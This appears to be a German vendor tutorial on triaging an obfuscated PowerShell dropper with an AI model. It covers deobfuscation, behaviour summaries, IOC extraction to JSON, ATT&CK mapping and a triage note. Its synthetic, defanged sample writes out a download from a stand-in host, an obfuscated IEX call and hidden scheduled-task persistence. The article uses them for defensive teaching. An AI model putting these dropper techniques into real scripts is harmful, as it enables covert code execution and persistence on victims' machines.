Zum Inhalt springen
Alle Beiträge

· 5 Min. Lesezeit

Malware-Analyse mit KI: Triage eines obfuskierten Skript-Droppers

Malware-Triage Schritt für Schritt mit Odin v1: Skript-Dropper deobfuskieren, Verhalten zusammenfassen, IOCs als JSON, ATT&CK-Mapping und Triage-Notiz.

Skript-Dropper sind das, was SOC-Analysten am häufigsten auf den Tisch bekommen: eine PowerShell- oder JavaScript-Datei aus einem E-Mail-Anhang, ein paar Schichten Obfuskierung und am Ende eine Download-URL. Die Triage ist repetitiv, und gängige Modelle weigern sich oft, ein Sample zu deobfuskieren, weil es bösartig ist. Odin v1 antwortet direkt und ist damit ein praktischer Assistent für diese Arbeit. Dieser Walkthrough begleitet die Triage eines synthetischen PowerShell-Droppers vom ersten Blick bis zur fertigen Triage-Notiz.

Zuerst das Sample sicher handhaben

Das Modell fasst das Sample nie an. Das machst du, und dieser Teil muss sitzen:

  • Arbeite in einer isolierten Analyse-VM ohne Netzwerkzugang (oder mit simuliertem Netzwerk), mit einem Snapshot vor dem Start, auf den du danach zurücksetzt.
  • Öffne oder starte ein Sample niemals auf deinem Host. Kopiere Text aus der VM heraus, keine Dateien.
  • Entschärfe URLs, Domains und IPs, bevor sie die VM verlassen (hxxps://, [.]), damit sie später niemand anklickt.
  • Berechne Hashes selbst mit Get-FileHash oder sha256sum. Lass kein Modell Hashes berechnen oder aus dem Gedächtnis nennen.

Odin akzeptiert nur Text, du fügst also Skriptinhalte, strings-Ausgaben oder den Text von Sandbox-Reports ein, keine Binärdateien, Screenshots oder PDFs. Prompts und Antworten der API werden nicht gespeichert, entferne aber trotzdem Kundennamen und interne Hostnamen, die du für die Analyse nicht brauchst.

Das Sample

Dieses Sample ist synthetisch, gekürzt und entschärft und wurde für diesen Artikel geschrieben. Es zeigt typische Tricks, ohne lauffähig zu sein:

powershell
# SYNTHETIC SAMPLE for illustration. Defanged and truncated: it does not run.$q = 'hxxps://cdn-sync[.]example[.]com/a/upd.dat'$f = '203.0.113[.]47:8443'$n = ('{1}{0}{2}' -f 'et.We', 'N', 'bClient')$w = New-Object $n$w.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) SyncHost/2.1')$d = "$env:APPDATA\Microsoft\SyncHost"$w.DownloadFile($q, "$d\synchost.ps1")$b = [Convert]::FromBase64String('<base64 blob removed, 2,412 chars>')$s = [Text.Encoding]::Unicode.GetString($b)& ([char[]](73, 69, 88) -join '') $sschtasks /create /tn "OneDrive Sync Helper" /sc onlogon /tr "powershell -w hidden -ep bypass -f $d\synchost.ps1" /f

Schritt 1: deobfuskieren

Gib dem Modell die Rolle, den Kontext und genau die Ausgabe vor, die du willst:

Du unterstützt einen Malware-Analysten. Das folgende Skript wurde in einer isolierten Lab-VM aus einem Phishing-Anhang extrahiert. Führe nichts aus. Deobfuskiere es statisch: Löse jeden Trick zum Zusammenbauen von Strings auf, schreib das Skript mit lesbaren Variablennamen neu und liste jede aufgelöste Obfuskierungstechnik auf. Wenn eine Schicht aus kodierten Daten besteht, die du nicht sehen kannst, sag, was sie wahrscheinlich ist und wie man sie sicher dekodiert.

Rechne mit einem bereinigten Skript und einer Liste der aufgelösten Tricks: Der -f-Format-String ergibt umsortiert Net.WebClient, das Char-Array 73, 69, 88 ist IEX (Invoke-Expression), und der Base64-Blob ist UTF-16LE-Text, der im Speicher ausgeführt wird. Da der Blob hier entfernt ist, sagt dir eine gute Antwort, dass du ihn in der VM dekodieren sollst (CyberChef „From Base64“, dann „Decode text“ mit UTF-16LE) und das Ergebnis als nächste Schicht einfügst.

Lange Base64- oder XOR-Schichten dekodierst du lokal und fügst die Ausgabe ein. Modelle können lange kodierte Strings falsch abschreiben, ein lokaler Decoder ist exakt.

Schritt 2: Verhalten zusammenfassen

Lass dir als Nächstes eine Zusammenfassung des Verhaltens in klarer Sprache geben, getrennt nach dem, was der Code tut, und dem, was er wahrscheinlich tut:

Fasse in Ausführungsreihenfolge zusammen, was dieses Skript tut. Markiere jede Aussage als CONFIRMED (im Code sichtbar) oder INFERRED (wahrscheinlich, hängt aber von Inhalten ab, die wir nicht gesehen haben).

Bei diesem Sample kannst du erwarten: bestätigter Download einer zweiten Stufe nach %APPDATA%\Microsoft\SyncHost\synchost.ps1 mit eigenem User-Agent, Ausführung einer eingebetteten Schicht im Speicher und Persistenz über einen Scheduled Task bei der Anmeldung mit verstecktem Fenster. Die Fallback-Adresse und der Zweck der zweiten Stufe bleiben abgeleitet, bis du den Blob dekodiert hast. Genau diese Trennung zwischen bestätigt und abgeleitet macht die Zusammenfassung sicher für einen Bericht.

Schritt 3: IOCs als JSON extrahieren

Fordere ein festes Schema an, damit die Ausgabe direkt in deine TIP oder dein SIEM gehen kann:

json
{  "sample": {    "file_name": "invoice_0923.ps1",    "sha256": "<computed locally, not by the model>"  },  "network": [    { "type": "url", "value": "hxxps://cdn-sync[.]example[.]com/a/upd.dat", "context": "second stage download" },    { "type": "ip_port", "value": "203.0.113[.]47:8443", "context": "probable fallback, inferred" }  ],  "host": [    { "type": "file_path", "value": "%APPDATA%\\Microsoft\\SyncHost\\synchost.ps1" },    { "type": "scheduled_task", "value": "OneDrive Sync Helper" },    { "type": "user_agent", "value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SyncHost/2.1" }  ]}

Wenn du Dutzende dekodierte Skripte oder Sandbox-Reports hast, wechsle zu odin-flash. Es ist schneller und günstiger, und IOC-Extraktion ist eine Musteraufgabe, die kein tiefes Nachdenken braucht. Behalte odin-v1 (Thinking standardmäßig aktiv, 1.000.000 Tokens Kontext) für Deobfuskierung und Verhaltensanalyse.

python
import jsonimport osimport pathlib
from openai import OpenAI
client = OpenAI(base_url="https://api.interodin.com/v1", api_key=os.environ["INTERODIN_API_KEY"])
SYSTEM = (    "Extract indicators of compromise from the text. Return only JSON with the keys "    "urls, domains, ips, file_paths, registry_keys, scheduled_tasks, mutexes, user_agents, "    "each a list of strings. Keep values defanged exactly as written. "    "Never invent indicators and never compute hashes.")

def extract(text: str) -> dict:    resp = client.chat.completions.create(        model="odin-flash",        messages=[{"role": "system", "content": SYSTEM}, {"role": "user", "content": text}],    )    raw = resp.choices[0].message.content.strip()    fence = "`" * 3    raw = raw.removeprefix(fence + "json").removesuffix(fence).strip()    return json.loads(raw)

results = {}for path in sorted(pathlib.Path("triage/decoded").glob("*.txt")):    results[path.name] = extract(path.read_text(encoding="utf-8", errors="replace"))
pathlib.Path("triage/iocs.json").write_text(json.dumps(results, indent=2))

Prüfe die Ausgabe stichprobenartig gegen den Quelltext. Der Prompt verbietet erfundene Indikatoren, aber unterschreiben musst du den Bericht. Die Einrichtung des Clients beschreibt die Anleitung zum OpenAI SDK.

Schritt 4: auf MITRE ATT&CK mappen

Fordere ein Mapping an, bei dem jede Technik die Codezeile nennt, die sie begründet, und schwache Zuordnungen gekennzeichnet sind. Rechne mit etwa so etwas:

TechnikIDBeleg
Command and Scripting Interpreter: PowerShellT1059.001Das gesamte Sample
Obfuscated Files or InformationT1027Format-String, Char-Array, Base64-Blob
Deobfuscate/Decode Files or InformationT1140FromBase64String zur Laufzeit
Ingress Tool TransferT1105DownloadFile der zweiten Stufe
Scheduled Task/Job: Scheduled TaskT1053.005schtasks /create ... /sc onlogon
Hide Artifacts: Hidden WindowT1564.003-w hidden
Masquerading: Match Legitimate Resource Name or LocationT1036.005„OneDrive Sync Helper“, %APPDATA%\Microsoft

Widersprich bei Techniken ohne Beleg. Wenn das Modell ein Application Layer Protocol für C2 ergänzt, bevor du überhaupt Beaconing-Code gesehen hast, lass es diesen Eintrag nach „inferred“ verschieben.

Schritt 5: die Triage-Notiz schreiben

Gib dem Modell zum Schluss alles aus den vorherigen Schritten und bitte um eine Notiz im Format deines Teams:

text
Triage note: invoice_0923.ps1Verdict: malicious, PowerShell downloader with scheduled task persistence (confidence: high)Analysis: static only, isolated VM, no networkBehavior: downloads second stage to %APPDATA%\Microsoft\SyncHost, runs an embedded  layer in memory, persists via logon task "OneDrive Sync Helper" (hidden window)IOCs: iocs.json (5 indicators, defanged)ATT&CK: T1059.001, T1027, T1140, T1105, T1053.005, T1564.003, T1036.005Open questions: content of the embedded layer, role of 203.0.113[.]47Next steps: block URL and IP at the proxy, hunt for the task name across endpoints,  deploy detections

Die Detections sind der logische nächste Schritt. Unsere Anleitung zu Sigma- und YARA-Regeln mit KI behandelt Sigma-Regeln für verdächtige PowerShell-Aktivität und eine YARA-Regel für diese fiktive SyncHost-Familie. Wenn du die ganze Pipeline skripten willst, lies Claude Code für Security-Tooling, und warum ein auf Security ausgerichtetes Modell hier den Unterschied macht, erklärt Security-Research mit weniger Verweigerungen.

Loslegen

Erstelle einen API-Key in der Konsole und folge dem Quickstart, um deinen ersten Request zu senden. Analysiere Samples nur in isolierten Umgebungen, die du kontrollierst, und halte deine Arbeit innerhalb der Acceptable Use Policy.